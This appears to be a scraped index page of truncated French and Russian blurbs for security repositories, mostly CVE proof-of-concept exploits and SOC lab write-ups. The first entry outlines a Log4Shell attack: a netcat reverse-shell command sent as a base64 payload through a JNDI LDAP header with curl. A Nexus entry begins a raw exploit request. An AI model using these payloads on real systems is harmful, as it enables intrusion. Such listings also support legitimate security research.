log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convertir en Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Preuve de concept Log4j P...

CVE-2025-68613-POC

🚨 CVE-2025-68613: Критическая RCE-уязвимость в n8n Оглавление 1. Обзор 2. Что такое n8n? 3. Основы уязвимости 4. Технические детали 5. Затронутые версии 6. Механика эксплуатации 7. Реальное влияние 8. Методы обнаружения 9. Устранение и смягчение рисков 10. Ресурсы и ссылки Обзор CVE-2025-68613 —...

Argus-SAF

Argus-SAF : Framework d'analyse statique Argus Ceci est le dépôt officiel pour Argus-SAF. Pour tester et jouer avec Argus-SAF, vous pouvez forker notre projet Argus-SAF-playground, qui contient la configuration de base pour un projet amélioré avec Argus-SAF et des codes de démonstration pour...

CVE-2020-7961

CVE-2020-7961 Script d'exploitation pour CVE-2020-7961 Exécution de code à distance non authentifiée via JSONWS Références et inspirations article de blog original : https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html article de blog synacktiv :...

-SOC342---CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-and-RCE

SOC342---CVE-2025-53770-SharePoint-ToolShell-Contournement-d-authentification-et-RCE Ceci est une investigation menée sur la plateforme Let's Defend, basée sur une récente CVE SharePoint. Jetons un coup d'œil. 1. Examinez le nom de la règle. Les noms de règles sont généralement créés spécifiqueme...

CVE-2021-41773_CVE-2021-42013

Apache HTTP Server 2.4.49, 2.4.50 - Обход пути и RCE Автор эксплойта: Lucas Souza https://ls4ss.github.io/ Домашняя страница разработчика: https://apache.org/ Версия: 2.4.49, 2.4.50 Протестировано на: 2.4.49, 2.4.50 CVE : CVE-2021-41773, CVE-2021-42013 Благодарности: Ash Daulton и команда...

Notepad-8.9.6-PoC

PoC-скрипты для Notepad++ CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800 PoC-скрипты для трёх уязвимостей в Notepad++ = 8.9.6, исправленных в v8.9.6.1 2026-05-26. Уязвимости CVE| Тип| CVSS| Воздействие ---|---|---|--- CVE-2026-48770| OOB-чтение через WMCOPYDATA| 5.0| DoS / Падение CVE-2026-4877...

vbulletin5-rce

vbulletin5 outil de détection de la vulnérabilité RCE 0x00 Aperçu En septembre 2019, vbulletion5 5.0.0-5.5.4 a révélé une vulnérabilité RCE CVE-2019-16759. En utilisant le fichier ajax/render/widgetphp et le paramètre POST widgetConfigcode, il est possible d'exécuter du code à distance directemen...

CVE-2019-9202

CVE-2019-9202 Exploit d'exécution de code à distance sur Nagios IM 2.6 : CSRF + SQLi + RCE + LPE -- root distant Description En enchaînant une Cross-Site Request Forgery CSRF / contournement d'autorisation CVE-2019-9203, il est possible d'exploiter une injection SQL basée sur UNION CVE-2019-9204,...

CVE-2025-0282-Ivanti-exploit

CVE-2025-0282-Ivanti-exploit CVE-2025-0282 est une vulnérabilité critique trouvée dans Ivanti Connect Secure, permettant l'exécution de commandes à distance RCE via une exploitation de débordement de tampon. Cette vulnérabilité permet aux attaquants de télécharger des fichiers malveillants par...

CVE-2021-31166-exploit

CVE-2021-31166 Vulnérabilité d'exécution de code à distance dans la pile du protocole HTTP Versions concernées : Microsoft : Windows 10 : version 2004 pour systèmes 32 bits version 2004 pour systèmes basés sur x64 version 2004 pour systèmes basés sur ARM64 version 20H2 pour systèmes 32 bits versi...

spectreScope

spectreScope Демонстрация атаки спекулятивного выполнения Spectre CVE-2017-5753, CVE-2017-5715. Протестировано на macOS Intel - Apple MacBook Pro Retina, 15-дюймов, конец 2013 - macOS High Sierra 10.13.2 - 1 IntelR CoreTM i7-4750HQ CPU @ 2.00GHz - git 2.14.3 - cmake 3.10.1 - Xcode 9.2 Linux Intel...

CVE-2025-3248

中文 ｜ English Scanner de vulnérabilités Langflow Un scanner de vulnérabilités pour CVE-2025-3248 dans les applications Langflow. Fonctionnalités Scanner une cible unique ou plusieurs cibles à l'aide de FOFA Exécuter des commandes système sur les cibles vulnérables Récupérer les informations systèm...

fabric

|version| |python| |license| |ci| |coverage| .. |version| image:: https://img.shields.io/pypi/v/fabric :target: https://pypi.org/project/fabric/ :alt: PyPI - Package Version .. |python| image:: https://img.shields.io/pypi/pyversions/fabric :target: https://pypi.org/project/fabric/ :alt: PyPI -...

shannon

!NOTE Shannon 3.0 is live: deeper security code analysis, more thoroughly vetted findings, a rebuilt CLI, native CI/CD, professional PDF reports, and SARIF. Shannon is an autonomous, AI pentester for web applications and APIs. It analyzes your source code, identifies attack paths, and executes re...

WSMan-WinRM

WSMan-WinRM Une collection de code source et de scripts de preuve de concept pour exécuter des commandes à distance via WinRM en utilisant l'objet COM WSMan.Automation. Contexte Pour des informations générales, veuillez vous référer à l'article de blog suivant : WS-Management COM: Another Approac...

CVE-2019-5475-Nexus-Repository-Manager-

CVE-2019-5475-Nexus-Repository-Manager- Payload PUT /nexus/service/siesta/capabilities/xxxxxxxxx HTTP/1.1 Host: xxxx.xxxx.com User-Agent: Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json Accept-Language:...

CVE-2020-2883

CVE-2020-2883 réécriture de : https://github.com/zhzyker/exphub/blob/master/weblogic/cve-2020-2883cmd.py mon poc est en python3 amusez-vous et bon hacking...

CVE-2020-16947

CVE-2020-16947 Cette vulnérabilité se produit dans Outlook 2019 16.0.13231.20262 installé sur Windows 10 1909 x64 TLDR; J'ai trouvé ce bogue en utilisant le fuzzer winafl. Ce bogue se produit lors de l'analyse du contenu HTML. Si l'attaquant parvient à exécuter cette exploitation, cela peut...

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell Introduction Je me suis plongé dans un zero-day SharePoint appelé ToolShell CVE-2025-53770 dans le laboratoire LetsDefend. J'ai simulé une attaque zero-day réelle où une requête POST malveillante a contourné l'authentification, exécu...